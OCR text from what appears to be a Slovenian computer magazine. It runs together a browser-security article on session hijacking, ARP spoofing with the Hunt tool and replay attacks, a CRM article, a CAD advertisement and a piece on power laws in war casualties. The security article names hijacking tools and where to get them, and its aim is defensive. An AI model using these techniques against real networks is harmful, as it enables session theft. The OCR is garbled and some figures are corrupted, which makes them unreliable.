ripta in VBScripta znotraj brskalnika, izvrSevanje kontrolnikov Java
in ActiveX na odjemalcu in izvrSevanje razli¢nih vti¢nikov (plugin) v
obliki predvajalnikov glasbe, filmov itd. V vecini primerov so omenje-
ne zmogljivosti na voljo predvsem zaradi tesne povezanosti spletnega
brskalnika, operacijskega sistema in drugi aplikacij. Z operacijskim si-
stemom najtesneje povezan spletni brskalnik je prav gotovo Internet
Explorer (IE), ki je zato tudi najprimernejsa tarca.

Zavedajte se, da je ob namestitvi operacijskega sistema IE nastavljen
tako, da uporabniku omogo&a predvsem enostavno uporabo ,zato je tre-
ba za varno uporabo nastavitve ustrezno spremeniti. V zvezi s tem si za
zaletek zapomnite predvsem naslednje:

- Poleg operacijskega sistema ne pozabite na redno posodabljanje splet-
nega brskalnika.

- Uporabljajte protivirusno/protivohunsko programsko opremo in oseb-
ni po¥arni zid

- Za finan¢ne in obcutljive transakcije uporabljajte Sifriranje (SSL,
TLS ...).

- Vzdriujte varno omre?no okolje, za kar se obrnite na varnostne stro-
kovnjake.

- Posvetite vsaj pet minut varnostnim nastavitvam brskalnika (piskot-
ki, javascript, ActiveX ...).

Naslednje dejstvo, ki $e dodatno motivi-
ra napadalce, je to, da v sodobnih podjetjih
vecino varnostno obcutljivih del zaposleni
opravijo ravno znotraj spletnega brskalnika.
Na tovrstno ob¢utljivo podro&je lahko prav
gotovo uvrstimo spletno ban&nistvo, e-upravo,
spletno nakupovanje, spletne trgovalne meha-
nizme ....

V zadnjih letih se varnost spletnih brskalnikov pospeseno izboljsuje,
vendar varnost v vecini primerov $e vedno sloni na ramenih uporab-
nika, ki so mu na voljo razli¢ne varnostne nastavitve. Tukaj pridemo
do problema, ko povpreéen uporabnik ni sposoben ustrezno prilagoditi
varnostnih nastavitev. Dodatno mero tveganja pa v podjetja nemalo-
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krat prinesejo $e administratorji omre%ij, ki so zaradi neprestanih klicev
uporabnikov prisiljeni varnostne nastavitve spustiti na minimum in na-
padalcem odpreti vrata v podjetje. Uporabniki namre¢ ne marajo ome-
jitev in niso pripravljeni razumeti, zakaj jim v brskalnik ni dovoljeno
namestiti dodatne orodne vrstice, barvitih ikon in gesel.

NAPADI NA SPLETNE BRSKALNIKE

TeZave in varnostna tveganja v povezavi s spletnimi brskalniki lahko
v grobem razdelimo na naslednja podro¢ja:

1. Ugrabitve sej (session hijacking)

Gre za obliko tako imenovanega napada »man in the middle«, pri
katerem napadalec prevzame uporabnikovo sejo z dolo¢enim spletnim
mestom in nadaljuje v svojem imenu.
2.Napad »replay«

Tovrstni napadi so tudi ena izmed oblik napada MiTM (man in the
middle), v katerem napadalec prestreZe podatke in jih nato ponovno po-
sreduje tardi., kar nazadnje pripelje do razli¢nih moZnosti zlorabe.

3.Brskalnik izvrsi $kodljivo kodo v obliki skriptov in izvrsljivih
datotek

Spletni brskalnik je po svoji definiciji priro¢no in zmogljivo orodje,
ki uporabniku olaja vsakdanje Zivljenje s tem, da je sposoben izvrSevati
skripte in v¢asih tudi izvrsljive datoteke. Tovrstne zmogljivosti so lahko
zlorabljene za izvritev zlonamernih aplikacij in skriptov, s ¢imer se br-
skalnik spremeni v neke vrste »vstopni vektor« v tar¢ino okolje.

4.Sirjenje zlonamerne kode, kot so virusi, &rvi in podobno.
Sposobnosti izvrievanja skriptov so pripomogle k temu, da so brskal-
niki ena izmed najprimernejsih tar¢ za Sirjenje zlonamerne kode.

5.Dostopanje do datotek v #rtvinem sistemu

Nekateri izmed napadov napadalcu omogocajo, da jim Zrtvin brskal-
nik poslje dolo¢ene datoteke. Verjetno je odved poudarjati, da tovrstne
za napadalca zaZelene datoteke vsebujejo osebne podatke, podatke o
spletnem ban¢niStvu in sistemske informacije, kot so gesla.

6.Tatvina zasebnih informacij

Uporabniki brskalnikov bi se morali zavedati, da varnost podatkov,
prenesenih iz streznika in vanj, ni ni¢ ve&ja, kot je varnost omreZja,
po katerem podatki potujejo. Tovrstno tveganje lahko do neke mere
zmanj$ano z uporabo kriptografije, kot je SSL (Secure Sockets Layer)
in pametno uporabo spleta, pri c¢emer uporabnik po nepotrebnem ne
razkriva osebnih podatkov.

Ugrabitev seje

V vecini primerov bo uporabnik, ki je postal taréa ugrabitve seje (ses-
sion hijacking), opazil, da se je njegova povezava z dolo¢enim spletnim
mestom nenadoma prekinila. Uporabnik tak$no prekinitev povezave
najpogosteje pripiSe napaki v omreZju, pri ¢emer se bo poskusil ponovno
prijaviti v sistem in nadaljevati delo. Uporabniki, pozor: Povezava ni
bila prekinjena temve& ukradena!

Poglejmo si prakti¢en primer tovrstnega napada, pri ¢emer ima tarca
vzpostavljeno FTP- povezavo. Napadalec je v delu omreZja, kjer pre-

Ob namestitvi Windows je Internet Explorer
nastavljen tako, da uporabniku omogoca
predvsem enostavno uporabo, zato je treba za varno

uporabo nastavitve ustrezno spremeniti.

hajajo podatki od tarée k FTP-strezniku (obi¢ajno nekje v krajevnem
omreZju v podjetju). Napadalec z vohljanjem (sniffing) opazuje komu-
nikacijo med taréo in FTP-stre?nikom, pri ¢emer ga Se posebej zanimajo
TCP-sekvencne $tevilke. Vec¢ina orodij, namenjenih za ugrabitev seje,
vkljutuje sposobnosti vohljanja (sniffing) in IP-slepljenja (spoofing).
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Napadalec se v nekem trenutku odlo¢i, da bo ugrabil sejo, pri cemer za-
&ne v omre¥je posiljati podatke z izvornim [P-naslovom tarée in ustrez-
nimi sekven¢nimi $tevilkami. Ce je ugrabitev uspesna, bo zacel FTP-
strefnik ubogati ukaze napadalca. FTP-stre?nik bo namre¢ prepri¢an, da
ukaze $e vedno pofilja tar¢a. Tovrstni napad je bil izpeljan prek omreZja,
zato ga bomo poimenovali omreZna ugrabitev seje.

Konfiguracija na
sliki daje napadalcu
moznost nadzira- @
nja prometa siste- =
mov C in D, ki sta
v istem omreZju, in
prometa med siste-
mi E, C, D, A, B,
ki prehaja omreZje,
kijer je IP Watcher
namescen. Pro-
meta med sistemoma A in B v tem primeru ni mogoce prestrezati.
Napadalec lahko ugrabi sejo tudi v primeru, ko so v tar¢inem sistemu
vzpostavljene naprednejse metode overjanja, vse dokler ni promet med
sistemoma kriptografsko zas¢iten tudi po vzpostavitvi povezave. To po-
meni, da tudi uporaba enkratnih gesel ne daje nikakrsne zas¢ite pred
tovrstnimi napadi.
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Orodje IP Watcher med vohljanjem prometa, pri ¢emer so na desni
strani vidne funkcije, ki omogocajo vmesavanje v povezavo in tudi
njeno ugrabitev.

Drug nacin za izpeljavo tovrstnih ugrabitev seje je primer, ko ima na-
padalec korenski (root) dostop do sistema, pri ¢emer lahko ugrablja
povezave vseh trenutnih uporabnikov sistema. Pri sistemu Unix lahko
tako napadalec s korenskim dostopom ugrabi povezavo vseh uporabni-
kov tega sistema.

Orodij za ugrabljanje povezav je ogromno, izpostavil pa bi predvsem:
- Hunt (eden najuporabne;jsih), dostopen na

www.packetstormsecurity.org/.

- Dsniff SSHmitm, ki je bil opisan v prejsnjem delu, omogo&a
prestrezanje kriptografsko zas¢itenih SSH in SSL povezav.

- TTYSnoop je orodje za ugrabljanje lokalnih povezav, dostopno na
www.packetstormsecurity.org/.

- IP Watcher je komercialno orodje za ugrabljanje omre?nih povezav,
dostopno na www.engarde.com

- Juggernaut je prav tako omre?no orodje, dostopno na
www.packetstormsecurity.org/.

Ena izmed omejitev vecine omre?no zasnovanih orodij za ugrabljanje
seje je nacin, kako ravnajo s TCP-sekven¢nimi $tevilkami. V normalnih
okolis¢inah sistem, ki sprejme TCP- sekven&no §tevilko, ki ne ustreza
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zaporedju, ponovno poslje zadnji komunikacijski paket ACK, saj pred-
videva, da se je prej¥nji izgubil. Tako poskusajo sistemi ponovno sin-
hronizirati sekven¢ne $tevilke in povezavo. Kadar napadalec namerno
potiska omre?ni promet v %e vzpostavljeno povezavo, se $tevilo komu-
nikacijskih paketov ob&utno poveca, pri ¢emer bo sistem, ki je taréa
napada, zaznal ob&utno rast sekvenénih $tevilk, Eeprav v omreZje ni po-
slal novih podatkov. V nastalem poloZaju bo sistem, ki je tar¢a napada,
zalel posiljati nove ACK- paketov, kar bo privedlo do zasedbe ve&jega
dela pasovne Sirine oz. do pojava, znanega kot ACK storm oziroma pa-
ketna nevihta. Med pojavom takine paketne nevihte bodo zmoZnosti
komunikacije med sistemoma, ki sta tar¢a ugrabitve, ob&utno padle. V
tem trenutku bo napadalec obi¢ajno izkoristil priloznost in na v sistemu
izvrsil nekaj ukazov, $e preden bosta sistema povezavo prekinila zaradi
nesinhroniziranih sekvenénih stevilk.

Orodji, ki trpita za tovrstno pomanjkljivostjo, sta Juggernaut in IP
Watcher.

Kako se lahko napadalec znebi paketne nevihte? Eden izmed naci-
nov je ta, da zoper sistem, katerega povezavo namerava ugrabiti, uporabi
obi¢ajen napad DoS (Denial of Service). Tovrstna metoda izogibanja
paketnim nevihtam je vsekakor u¢inkovita, kljub temu pa vam bom v
nadaljevanju predstavil, kako se s tem problemom spopada naprednejse
ugrabiteljsko orodje, imenovano Hunt.

o Ugrabitev seje z orodjem Hunt

Vetina tovrstnih orodij napadalcu omogota vpogled v razli¢ne pove-
zave, pri Cemer si lahko napadalec izbere povezavo, ki ga trenutno zani-
ma. Hunt je orodje, namenjeno operacijskemu sistemu Linux, pri ¢emer
dovoljuje napadalcu, da v obstoje¢o povezavo vrine nekaj ukazov, kar
povzroti paketno nevihto. Hunt med svojimi zmo?nostmi ponuja tudi
postopek, v katerem uporabniku, ki je taréa ugrabitve, prepreci, da bi
videl hitro narai¢ajoce sekvenéne $tevilke sistema, s katerim ima Zrtev
trenutno vzpostavljeno povezavo. Hunt pri tem uporabi ARP-slepljenje
(spoofing), na podlagi katerega postane napadalcev sistem nekaksen po-
srednik med sistemoma, ki sta tar¢i ugrabitve povezave.

Tovrsten postopek je zapleten, v grobem pa poteka tako, da napadalec
poslje tardi predelan ARP-odgovor tako, da poveZe IP-naslov strefnika
z neobstoje¢im MAC-naslovom. Na drugi strani napadalec prav tako
poslje strerniku predelan ARP-odgovor tako, da IP-naslov tarée poveze
z neobstoje¢im MAC-naslovom. Tovrstno nenaroéeno posiljanje ARP-
odgovorov pri vedini sistemov povzrodi, da ustrezno spremenijo svoje
obstoje¢e ARP-tabele. Po izvr§enem tovrstnem ARP-slepljenju sistema
ne bosta ve¢ sposobna komunicirati, saj bosta komunikacijske pakete
posiljala na neobstoje¢e MAC-naslove v krajevnem omreZju.

Na tej stopnji napada Hunt premosti nastali prepad med sistemoma
tako, da za¢ne vohljati promet in se vme$avati v komunikacijo. Prepros-
to refeno, je v tem primeru komunikacija tarée zadr?ana, medtem ko
lahko napadalec v njenem imenu komunicira s stre?nikom.
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Naslednja presenetljiva sposobnost orod-
ja Hunt je zmo#nost, da lahko napadalec po
kon&ani ugrabitvi povezavo vrne prej$njemu
uporabniku. Tovrstni napadi delujejo tudi v
primerih, ko napadalec in #rtve niso v istem
krajevnem omreZju. V tem primeru mora na-
padalec usmeriti ARP-slepljenja na usmerje-
valnik, vendar se v tem primeru pojavi tezava

N Stevilna podjetja se vse
bolj zavedajo dejstva,
da je najboljsa obramba pred
vdori hekerjev to, da enega
izmed njih preprosto postavis
na svojo stran.

gumboyv ali spletnih povezav. V teh primerih bo
klik na tovrstni gumb ali povezavo napadalcu
poslal zasebne informacije o sistemu in uporab-
niku in napadalcu v kon&ni fazi omogogil vdor.

o Nekateri od parazitov spremenijo uporab-
nikovo izhodis¢no spletno stran v katero
od strani pod nadzorom napadalca. Motiv za
tovrstno pocetje je placevanje klikov na do-

v tem, da mora napadalec posredovati celoten
promet usmerjevalnika, in ne samo ugrabljene
povezave, kar lahko preobremeni napadal&ev sistem.

Hunt je orodje, ki te€e v ukazni lupini in nima grafi¢nega uporabni-
Skega vmesnika, zato zahteva njegova uporaba kar nekaj znanja.

e Obramba pred ugrabljanjem sej

Obrambo tvorijo predvsem kriptografsko zas¢itene povezave, kot sta
SSH in VPN. Uporaba tovrstnih orodij je nujna, kadar podatki potuje-
jo prek zunanjih omre?ij, kot sta internet oziroma omreZje partnerskega
podjetja. Za posebno ob&utljive sisteme, kot so poZarni zidovi, usmer-
jevalniki in varnostni sistemi, je priporo¢ljiva uporaba Sifriranja tudi v
prometu znotraj krajevnega omreZja.

Sifriranje podatkov bo napadalcu onemogotila Sifriranje in desifrira-
nje informacij ter s tem prepredila vrinjanje prometa v obstojeco po-
vezavo. Kljub kriptografski zai¢iti pa imejte vedno v mislih sposobnost
orodja Dsniff, ki lahko ugrabi tudi promet SSH in SSL. Uporabo orodja
Dsniff ponavadi odkrijemo, ko se nenadoma zamenja stre?nikov javni
kljug. V tak$nem primeru nikar ne vzpostavljajte povezave, temvec prej
raziiCite, zakaj je prislo do nenadne zamenjave.

Stevilna podjetja se vse bolj zavedajo dejstva, da je najbolj¥a obramba pred
vdori hekerjev to, da enega izmed njih preprosto postavis na svojo stran.

Dejavniki, ki napadalcu ote?ujejo delo

Kot smo videli, so vse kombinacije brskalnikov in operacijskih siste-
mov ranljive na katero od tehnik napada. Nastejmo e nekaj dejavni-
kov, ki delujejo v prid brskalnika in napadalcu oteZujejo delo:
e Napadalec ne more izbrati ¢asa in kraja napada. S tem imam v mislih
predvsem to, da mora uporabnik v vsakem primeru usmeriti brskalnik
k dologenemu spletnemu strezniku. Spletni stre?nik obi¢ajno ne more
vedeti, kdo in kdaj se bo poskusal z njim povezati, kar pomeni napadalcu
veliko oviro. Napadalcu se je zato izredno tezko osredotociti na natanéno
dolo&eno osebo, zato se ponavadi osredotodijo kar na prilofnostne Zrtve.
e Napadalec po vsej verjetnosti ne pozna #rtve. Ker napadalec svoje
#rtve ne pozna vnaprej, se lahko zgodi, da bo Zrtev eden izmed strokov-
njakov za ra¢unalnisko varnost, ki bo celotno zadevo precej hitro raz-
vozlal in razkril v javnosti.
e Dostopnost razli¢nih brskalnikov je $e ena od ovir, saj dologene ran-
ljivosti delujejo samo pri dolo€eni vrsti in razli¢ici brskalnika. Napad na
eno vrsto brskalnika, na primer na Internet Explorer, tako ne pomeni
groznje za uporabnike Opere ali Moxzille.

NAPAD REPLAY

Tovrstni napadi so rezultat prestrezanja omre?nega prometa s pomod&jo
vohljagev oz. »snifferjev«. Nekateri deli zajetega prometa so nato ustrez-
no spremenjeni (npr. prenos denarja med ban¢nimi racuni), nakar so
spremenjeni podatki vrnjeni v omreZje. Ce je napad uspesen, bo spletni
strenik preprican, da gre za legitimni promet in se bo temu primerno
tudi odzval.

Odgovornost preprecevanja tovrstnih napadov je v celoti na strani
upravljavca streZnika, ki mora vpeljati odporne mehanizme sledenja
uporabnikove seje. Strefnik mora biti v teh primerih sposoben pona-
vljajodi se oz. sovra¥en promet zaznati kot neveljaven.

SPLETNI PARAZITI

Spletni parazit je program, ki spremeni doloéene nastavitve vaSega
brskalnika. U¢inki, ki jih tovrstni paraziti ponavadi pustijo v tar¢inem
brskalniku, so lahko naslednji:
o Paraziti v obliki vti¢nikov v brskalnik najpogosteje dodajo katerega od
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lo¢ene spletne oglase, s ¢imer lahko napadalci
mastno zasluZijo.
o Nekateri od parazitov pa napadalcu zgolj sporo¢ajo naslove spletnih
strani, ki jih dologena #rtev pogosteje uporablja. Tovrstne informacije
nato napadalcu omogocijo bolj usmerjene napade z ribarjenjem gesel —
phishingom (spletno ban¢nistvo, borzni sistemi, nakupi ...).

Tipi¢en predstavnik tovrstnih parazitov je npr. W97M_SPY.A, ki ob
namestitvi svojo prisotnost u¢inkovito prikrije, nato pa v rtvinem ra-
¢unalniku zbere kontaktne naslove in zbrane informacije poslje na na-
padalcev naslov elektronske poste. Odstranitev tovrstnih skodljivcev
zahteva odstranitev dolocenih kljucev v sistemskem registru in brisanje
datotek, kot sta v naSem primeru npr. W97M_SPY.A in VBS_SPY.A.

OPOZORILO!

Bodite skrajno previdni pri prenasanju in names¢anju programov z
nepoznanih in sumljivih spletnih strani. Ampak to ste verjetno vsaj
Ze stokrat sliSali! PosreCena analogija je primer, ko hodimo po plo¢-
niku in na tleh najdemo hot dog. »Poslastico« poberemo in pojemo,
nakar se kasneje ¢udimo, kako to, da smo zboleli. Preverite »dobro-
te«, ki jih najdete v internetu, vsaj s protivirusnim programom.

VARNA UPORABA BRSKALNIKA

Ob vseh danes znanih oblikah napadov je pou&evanje uporabnikov
glede varne uporabe interneta postalo zelo zahtevna naloga. Tudi v pri-
meru, ko uporabnik nastavi brskalnik na najve¢jo mero varnosti, je Se
vedno v nevarnosti zaradi svojih odzivov na dolo¢ene dogodke in oko-
lis¢ine (nepremisljeno klikanje ipd.). To pomeni, da vam tudi najvar-
nejSe nastavitve vaSega brskalnika ne bodo dajale zas¢ite, e se ne boste
pametno odzvali na vsako pojavno okno.

Pogosti so namre¢ primeri, ko pojavno okno uporabnika vprasa, ali
naj brskalnik izvr$i dologen kontrolnik ActiveX. Najpogosteje se zgo-
di, da uporabnik preprosto klikne OK in dovoli izvr§evanje potencial-
no skodljive kode. Tovrstne reakcije napadalcem omogoé&ijo obvoz tudi
najodpornejsih varnostnih mehanizmov. Tukaj naletimo na poloZaj, ko
bodo varnostne nastavitve od uporabnika nenehno zahtevale odziva-
nje na dogodke, kot so sprejemanje piskotkov, dovoljevanje izvrSevanja
skript in kontrolnikov ActiveX. Pod neprestanim bombardiranjem var-
nostnih obvestil bo ve&ina uporabnikov popustila in zmanjsala stopnjo
varnosti svojega brskalnika.

Osnovni koraki za povefanje varnosti vasega sistema bi bili lahko
naslednji:

o Namestite varnostne popravke operacijskega sistema in programov.

o Izogibajte se virusom, trojanskim konjem, &rvom in vohunski pro-
gramski opremi (uporaba protivirusnega/protivihunskega programa in
legalne programske opreme).

e Za obcutljiva opravila uporabljajte varne spletne strani. Se zavedate,
da nekatere banke v ZDA $e vedno ne uporabljajo SSL-Sifriranja pri
spletnem ban¢nistvu?

o Uporabljajte varne posrednigke (proxy) strefnike.

e Zavarujte omre?no okolje (uporaba pozarnih zidov in sistemov IDS/
IPS).

o Izogibajte se nepotrebni uporabi in razmetavanju zaupnih podatkov.
e Pozorno nastavite varnostne nastavitve brskalnika in predvsem upo-
rabite razum, ki vam narekuje, da je izvrSevanje programov nevarno po-
Cetje.

o Najemite strokovnjaka, ki bo po vsem tem preveril, ali res niste poza-
bili na katero od trivialnih luknjic in s tem ogrozili obstoja podjetja.. B
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sistem za upravljanje odnosov s kupci

Kdor ima informacijo, ima moc!

Sprasujemo se, zakaj so informacije
tako zelo pomembne. Odgovor je
preprost — informacija je moc¢! Uspedna
podjetja danes so v svoji poslovni
praksi izkusila, kakSna dragocenost je,
da imajo prave informacije o svojih
strankah. Vse bolj se uveljavlja trend
individualne obravnave. Stranke se

med seboj razlikujejo, zato je treba
vzpostaviti poosebljen odnos z njimi. Za
uspesnost podjetja sta torej bistvenega
pomena odkrivanje in vzpostavitev
dobrih odnosov s strankami.

PiSe: Peter Ladic
peter.ladic@mojmikro.si

CRM JE POSLOVNA STRATEGIJA

Upravljanje odnosov s strankami je poslovna
strategija, ki zdrufuje tehnologijo in ljudi v orga-
nizaciji, to pa z namenom, da bi s strankami ustva-
rili dolgoroéne odnose. Podjetje mora poznati pri-
&akovanja, Zelje in demografske znacilnosti svoje
stranke, razumeti njegove nakupne navade in zna-
ti izbrati pravi komunikacijski kanal za interakcijo
znjimi. Osnovni namen CRM-ja (upravljanje od-
nosov s strankami) je dostop do vseh klju¢nih in-
formacij o dolo¢eni stranki vedno in na nacin, ki
ga podjetje trenutno potrebuje. Podporo pri tem
lahko ponudi dober CRM-sistem.

UPRAVLJANJE S STRANKAMI JE
SISTEM Z ARHITEKTURO

Sistem upravljanja odnosov s strankami spremi-
nja tudi vse tiste aktivnosti, ki se nanje navezuje-
jo. To pomeni, da vpliva na vse poslovne procese v
podjetju. Strokovnjaki CRM delijo na tri podro-
&ja, kar pomaga razumeti, kako lahko CRM-strate-
gija in tehnologija poskrbita za celovit pogled na
stranko: operativni, sodelovalni in analiti¢ni.

Operativni CRM

Operativni CRM se v podjetju nanasa na iz-
vajanje postopkov, s katerimi se podjetje pove-
zuje s strankami, sprejema in posreduje narocila,
opravlja transakcije in strankam ponuja dodatne
storitve ter podporo. Za operativni CRM je zna-
&ilna prenova avtomatizacije oziroma informa-
tizacije poslovnih procesov, predvsem podrodij,
ki vsakodnevno sodelujejo s strankami (podpora
prodaji, trienjskim in storitvenim aktivnostim za
podporo strankam) in so glavni za pridobivanje
podatkov. Operativni CRM vkljucuje postavitev
klicnega centra in spletnega portala. Klju¢na pri
upravljanju operativne ravni CRM-ja je vzposta-
vitev povezanosti vseh sistemov znotraj podjetja.
Ceprav operativni CRM prispeva k izboljsavam

v organizaciji, sam po sebi ne izboljSuje razume-
vanja strank organizacije niti ne prispeva k iz-
boljSevanju odnosa s strankami.

Organizacijski CRM

Organizacijski CRM je namenjen temu, da
stranki omogo¢i stik s podjetjem. Omogoca so-
delovanje med dobavitelji, partnerji in stranka-
mi, kar ne izbolj¥a samo postopkov, temve¢ rabi
tudi boljsemu zadovoljevanju potreb strank.
Sem uvr$¢amo vmesnike za sodelovanje (elek-
tronska posta, konference, klepet, aplikacije, ki
delujejo v realnem ¢asu), ki so namenjeni temu,
da podpirajo medsebojno interakcijo med orga-
nizacijo in strankami, pa tudi med posameznimi
deli organizacije glede zadev, ki se ti¢ejo strank
oziroma informacij o strankah. Organizacijski
CRM pomaga zaposlenim dostopati do infor-
macij o strankah in njihovih aktivnostih, te
informacije raz8irjati in si jih deliti.

Analiti¢ni CRM

Med aplikacije CRM $tejemo tudi sistem, ki
organizacijam omogoca analizo podatkov z na-
menom uspeSnejSega komuniciranja s stranko.
Gre za analizo podatkov z namenom upravljanja
poslovne uspesnosti. Nanaga se na analiziranje,
modeliranje in ocenjevanje podatkov o stran-
kah, ki so v podatkovnih skladis¢ih ali podatkov-
nih zbirkah, z namenom ustvarjanja medseboj-
no koristnega odnosa. Pomaga pri optimiranju
informacijskih virov, da vedenje stranke bolje
razumemo. Med analiti¢cne CRM-aplikacije spa-
dajo sistemi za tr¥enje, orodja za analizo prodaje
in druga specifi¢na analiti¢na orodja. Analiti¢ni
sistemi so glavni uporabniki podatkov, ki jih za-
gotovi operativni CRM.  Analiza je za uspeh
CRM najbolj kriti¢na. Samo z analizo podatkov
o strankah lahko podjetje razume obnaganje,
prepozna trende in vzorce ter odkrije vzro¢ne po-
vezave, kar pomaga oblikovati in napovedovati
obnaganje in zadovoljstvo strank v prihodnje ter
predstavlja osnovo za stratesko odlo&anje.

VSAK STIK S POTROSNIKOM JE
PRILOZNOST ZA PODJETJE

Osnovni gradniki uspesnosti CRM-ja in s
tem tudi uspesnosti podjetja: so vizija, strategi-
ja, zadovoljstvo, organizacija, procesi, informa-
cije, tehnologija in merjenje uspesnosti.

1 CRM-VIZIJA: vodstvo, poloZaj na trgu,
predlog vrednosti

2 CRM-STRATEGIJA: cilji, segmenti,
u¢inkovito vzajemno delovanje

6 CRM-INFORMACIJE: podatki, analiza,
enoten pogled preko vseh kanalov

5 CRM-PROCESI: #ivljenjski cikel,

upravljanje znanja

7 CRM-TEHNOLOGTIJA: aplikacije,
arhitektura, infrastruktura

4 SODELOVAN]JE V ORGANIZACIJI:

Kultura in struktura

Razumevanje strank

Ljudje: strokovno znanje in sposobnosti

Spodbude in nadomestila

Komunikacija med zaposlenimi in partnerji
3 IZKUSNJE STRANK:

Razumevanje potreb

Spremljanje pri¢akovanj

Zadovoljstvo proti tekmovanju

Sodelovanje in spremljanje odziva

Komunikacija s strankami_

8 CRM MERJENJE USPESNOSTI:
vrednost, obdr¥anje, zadovoljstvo, zvestoba,
stroski

Nevarnosti in razlogi za neuspeh
uvajanja CRM-ja
Kljub vsemu trudu, ¢asu in finan¢nim sred-
stvom, ki jih organizacije vlo%ijo v uvajanje
sistema CRM se lahko pripeti, da sistem ne
doseZe zastavljenih ciljev. Strokovnjaki nava-
jajo deset najpogostejsih razlogov za neuspeh
uvajanja CRM-ja:
1. Vodstvo nima razumevanja (ali premalo) za
stranke in/ali za CRM in ni vklju¢eno v
projekt. Tipi¢en pokazatelj je npr. izjava »Prav,

|
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sistem za upravljanje odnosov s kupci

naredite to do konca leta.«

2. Nagrade in spodbude so vezane na stare, ne k
strankam usmerjene cilje. (Zakaj bi se zaposleni
v centru za pomo¢ strankam trudil za &im
kakovostnejso pomo¢ in za razvijanje odnosa,
e pa je placan po Stevilu zaklju€enih klicev —
»Nisem platan, da to delam.«)

3. Kultura zaposlenih ni neprenehoma usmerjena
k stranki — se ne spremeni (npr. »Zdaj delam
vse totno tako kot prej, saj sploh ni razlike.
CRM, to je samo nakladanje ...«). Raziskave
ka¥ejo, da kar 62 odstotkov organizacij, ki
uvajajo informacijske sisteme CRM, v resnici
ni usmerjeno k strankam.

4. Uposteva se omejen ali sploh nikakrsen
prispevek s stalis¢a stranke (kako stranka
dofivlja organizacijo, kaj je pomembno s
stalis¢a stranke — »Mi tono vemo, kaj hocejo.«).

5. Prevladuje mnenje, da je programska oprema
resitev, arhitektura in integracija sta pozabljeni,
eprav sta bistveno pomembne;si in draZji.
(»Dajmo poslati enega na tisti sejem, da bo
nabral broure za CRM. «)

6. Obstaja pomanjkanje natan¢no nacrtovanih,
medsebojno okrepljujocih se procesov, npr.
strategije; ravno tako obstajajo nepremisljeno
nacrtovani in neodvisni procesi. (Na primer:
»Mi lahko $e enkrat poveste svoj datum rojstva’«)

7. Slaba kakovost podatkov in informacij vodi
k slabi analizi in k slabi podpori odlo¢itvam.
(Rezultat odnosa »Zbirali bomo vse podatke o
vseh svojih strankah in po njih rudarili.«)

8.V projektu je malo koordinacije in sodelovanja
pobud in projektov razli¢nih oddelkov. (»Mi
delamo svoje delo, ne zanima nas, kaj se dogaja
v sosednjem oddelku. «)

9. Sestava CRM-projektne skupine je
nepomembna zadeva, predstavniki poslovnih
funkcij niso vklju€eni (odnos »Kdo v
informatiki ima zdaj kaj ¢asa? Ta denar je treba
potrositi.«).

10. Ni uvedbe kakr$negakoli merjenja ali
opazovanja koristi in nobenega testiranja
(nezmo#nost odgovoriti na vprasanje: »CRM ne
prinasa koristi. DokaZi mi nasprotno.«) Raziskave
so pokazale odvisnost med zastavljanjem jasnih
ciljev in obnasanjem zaposlenih (odprto
komunikacijo, prevzemanjem odgovornosti,
strateskim reSevanjem problemoyv, vzdrievanja
skupne vizije).

Pogoj za uspesnost CRM-ja je,

da ga uporabljamo

CRM je starteska poslovna odlotitev, ki je si-
cer sprejeta na ravni vodstva podjetja, vendar je
uspeh uvedbe predvsem odvisen od uporabnikov
znotraj podjetja. Se tako dober sistem ne bo ni-
koli zaZivel, & ga uporabniki zavrnejo. Zato je
treba premisliti, kaj Zelimo, kako bodo to sprejeli
uporabniki, zaposleni v podjetju. CRM ne sme
biti dodatno delo z vnaganjem podatkov, ampak
glavno orodje pri bolj§i organiziranosti, boljsi
podpori poslovnih procesov in la%jim ter hitrej-
§im doseganju boljsih poslovnih rezultatov. B

Odgovor je:
-2,5

Zapletene vzorce v naravi in cloveski
kulturi velikokrat vodijo relativno
preprosta matematicna razmerja. Morska
Skoljka raste s hitrostjo, sorazmerno z
njeno velikostjo, kar se pokaze v njeni
spiralni obliki. TakSne primere najdemo
povsod, tudi v vesolju, najvec veselja pa
imajo matematiki zadnje ¢ase pri iskanju
formul, ki dolocajo nase obnasanje. Kaj
pa je zanimivejSe in blizje kaosu kot
vojskovanje?

Pise: Marjan Kodelja
marjan.kodelja@mojmikrossi

primerjavi z vojnami ve&jih razse?-

nosti, ki so divjale v preteklosti, so
danasnje vojne bolj asimetri¢ne, ko

skupina gverilcev ali teroristov napa-

da veliko mo&nejse sile. Namesto velikih bitk
govorimo o vedjem §tevilu manjsih napadov

ZA

C,

Podrobnejse informacije na:
www.its-plm.si

tel: 01/4300-323

ali email: info@its-plm.si

drugi Solid Edge CAD/CAE/CAM pakert.

Q2

ZAMENJAJTE
v VAS 2D =:CAD

ITS d.o.0,, partner UGS-a ima na voljo 50 brezplacnih licenc!

Pridruzite se 200.000 uporabnikom programa Solid Edge,
najhitreje rastoéega MCAD programa na svetu.

Solid Edge Design&Drafting je moZno nadgraditi v katerikoli

VROCA POLETNA PRILOZNOST

SoLib EDGE

(Paket: Design & Drafting, 2D & 3D CAD) i

ITS d.0.0

industrijski tehneloSki sistemi
Ruska I, 1000 Ljubljana

"UGS

Transforming the

process of innovation
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na slabSe branjene cilje oziroma izkori§¢anje
prilofnosti.

KAJ KAZE STASTISTIKA

Zaradi skoraj naklju¢ne razporeditve takinih
manj$ih napadov imajo stari statistiéni po-
datki, zbrani v »velikih« vojnah, le omejeno
uporabnost. Nekaj vzorcev pa je mo€ najti tudi
v teh primerih. Najprej je ve¢ja verjetnost, da
nas bo napadel $ibek napadalec kot mocan.
Ce vse individualne napade razvrstimo glede
na #rtve (n), ki so jih povzrodili, se izkaZe, da je
$tevilo tak$nih napadov v doloenem &asu (le-
tih) sorazmerno n na konstanto (nc). Pogle;j-
mo si primer. Pri iraski vojni se lahko vpragsa-
mo, koliko spopadov v enem letu je povzro&ilo
10 Zrtev. Glede na znane podatke je odgovor
1023 ali 0,005. Ce se vprasamo, koliko na-
padov bo povzrotilo 20 Zrtev v istem obdobju,
je odgovor 20 ali 2,3.

IZRACUN PROFESORJA JOHNSONA
Profesor Neil Johson z univerze Oxford je el
$e korak dlje. Prestudiral je Se nekaj vojn (Af-
ganistan, Kolumbija) in teroristi¢ne napade v
nerazvitem svetu. V vseh primerih je izra¢unal,
da je distribucija spopadov blizu konstanti -2,5
(eksponent). Se zanimiveje je, da je pri voj-
ni v Iraku in konfliktu v Kolumbiji koeficient
Sele ez Cas prisel do te vrednosti. V Iraku je
bil najprej ni%ji in je Cez &as porasel, v primeru
Kolumbije pa se je bilo ravno nasprotno.

- multimedija
